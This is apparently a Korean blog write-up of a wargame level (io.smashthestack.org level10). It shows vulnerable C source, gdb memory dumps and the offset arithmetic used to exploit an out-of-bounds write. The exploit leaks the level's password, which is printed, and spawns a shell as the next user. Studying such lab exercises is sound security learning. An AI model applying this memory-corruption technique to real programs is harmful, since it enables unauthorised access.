int $0x80

level10 본문

워게임/io.smashthestack.org

level10

cd80 cd80 2014.02.02 13:53

이번 문제는 다른문제보다 삽질을 좀 많이 한 문제입니다


먼저 소스를 보여드리겠습니다


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>


int main(int argc, char **argv){

        FILE *fp = fopen("/levels/level10_alt.pass", "r");

        struct {char pass[20], msg_err[20]} pwfile = {{0}};

        char ptr[0];


        if(!fp || argc != 2)

                return -1;


        fread(pwfile.pass, 1, 20, fp);

pwfile.pass[19] = 0;

        ptr[atoi(argv[1])] = 0;

        fread(pwfile.msg_err, 1, 19, fp);

        fclose(fp);


        if(!strcmp(pwfile.pass, argv[1]))

                execl("/bin/sh", "sh", 0);

        else

                puts(pwfile.msg_err);



        return 0;

} 

/levels/level10_alt.pass 에 level10 계정의 읽기권한이 없기때문에

gdb로 이 프로그램을 그대로 실행 할 경우 fopen이 실패합니다

소스에서 ptr[atoi(argv[1])] = 0; <- 이부분이 프로그램의도와는 전혀 상관없는 부분이기 때문에

이부분을 이용해서 푸는게 의도인건 알았는데 어디를 덮어씌워야할지 난감했습니다


먼저 메모리 레이아웃을 말씀드리면

ptr    = ebp - 0x58

pwfile.pass    ebp - 0x48

pwfile.msg_err    ebp - 0x34

이런식으로 위치합니다

따라서 ptr[16] = 0 을 하면 pwfile.pass는 공백으로 만들수 있지만 argv[1]이 "16"이기 때문에 strcmp는 어쨌든 실패합니다


그런데 strcmp가 실패할경우 pwfile.msg_err를 출력합니다

strcmp가 실패하면 그냥 단순하게 puts("ACCESS DENIED..."); 를 출력하면되는데

저 메세지를 굳이 파일에 넣는단건

pwfile.msg_err = pwfile.pass 가 되게 해 pass를 출력하게 하면 된다는 뜻입니다


원래 삽질을 소스를 복사해서 컴파일해 하고 있었는데

원본바이너리랑 차이가 좀 심해서

원본바이너리를 복사해 hexedit으로 fopen 인자로 들어가는 문자열을 수정해서 테스트 해봤습니다



그런데 디버깅하면서 보니 fopen의 리턴값이 힙영역 주소가 나와서

힙영역 메모리를 덤프떠보니 pwfile.pass와 pwfile.msg_err 내용을 가르키는 포인터들이 있단걸 확인했습니다




(gdb) disp/i $pc

1: x/i $pc

=> 0x8048575 <main+177>: call   0x80483f8 <fread@plt>

(gdb) x/50wx 0x804a00c

0x804a00c: 0xb7fde014 0xb7fde025 0xb7fde000 0xb7fde000

0x804a01c: 0xb7fde000 0xb7fde000 0xb7fde000 0xb7fdf000

0x804a02c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a03c: 0xb7fd0580 0x00000007 0x00000000 0x00000000

0x804a04c: 0x00000000 0x0804a0a0 0xffffffff 0xffffffff

0x804a05c: 0x00000000 0x0804a0ac 0x00000000 0x00000000

0x804a06c: 0x00000000 0xffffffff 0x00000000 0x00000000

0x804a07c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a08c: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a09c: 0xb7fcf9e0 0x00000000 0x00000000 0x00000000

0x804a0ac: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a0bc: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a0cc: 0x00000000 0x00000000

(gdb) x/s 0xb7fde014

0xb7fde014: "ACCESS DENIED...\n"

(gdb) x/s 0xb7fde000

0xb7fde000: "passwordpasswordtestACCESS DENIED...\n"

(gdb) 

0xb7fde014 에서 최하위바이트만 0으로 맞춰주면

패스워드가 그대로 있습니다


io.smashthestack.org 가 ASLR이 꺼져있기때문에

ptr의 주소는 항상 일정합니다

argv[1]에 따라 main함수의 ebp가 바뀌니 일단 없이 넣어주고 argv[1]에 들어가야되는 숫자의 자리수를 확인해 다시 넣어준 뒤의 ebp를 확인합니다

level10@io:/tmp/cd$ gdb -q level10

Reading symbols from /tmp/cd/level10...(no debugging symbols found)...done.

(gdb) b main

Breakpoint 1 at 0x80484c8

(gdb) r

Starting program: /tmp/cd/level10 


Breakpoint 1, 0x080484c8 in main ()

(gdb) i r ebp

ebp            0xbffffcb8 0xbffffcb8

(gdb) p $ebp - 0x58

$1 = (void *) 0xbffffc60

(gdb) p 0x804a00c - 0xbffffc60

$2 = 1208263596

(gdb) r 1208263596

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /tmp/cd/level10 1208263596


Breakpoint 1, 0x080484c8 in main ()

(gdb) i r ebp

ebp            0xbffffca8 0xbffffca8

(gdb) p $ebp - 0x58

$3 = (void *) 0xbffffc50

(gdb) p 0x804a00c - 0xbffffc50

$4 = 1208263612

(gdb)


level10@io:/tmp/cd$ /levels/level10 1208263612

AverYloNgPassword!!

level10@io:/tmp/cd$ 

쉘에서 느낌표를 넣어주려고 했는데 잘 안돼서 파일에 넣고 argv에 넣었습니다


level10@io:/tmp/cd$ cat > ./pass

AverYloNgPassword!!

level10@io:/tmp/cd$ /levels/level10 $(cat ./pass)

sh-4.2$ whoami

level11

sh-4.2$


'워게임 > io.smashthestack.org' 카테고리의 다른 글

level10  (0) 2014.02.02
level9  (0) 2013.08.25
level8  (0) 2013.08.25
level7  (0) 2013.08.24
level6  (0) 2013.08.24
level1  (0) 2013.07.14
0 Comments
댓글쓰기 폼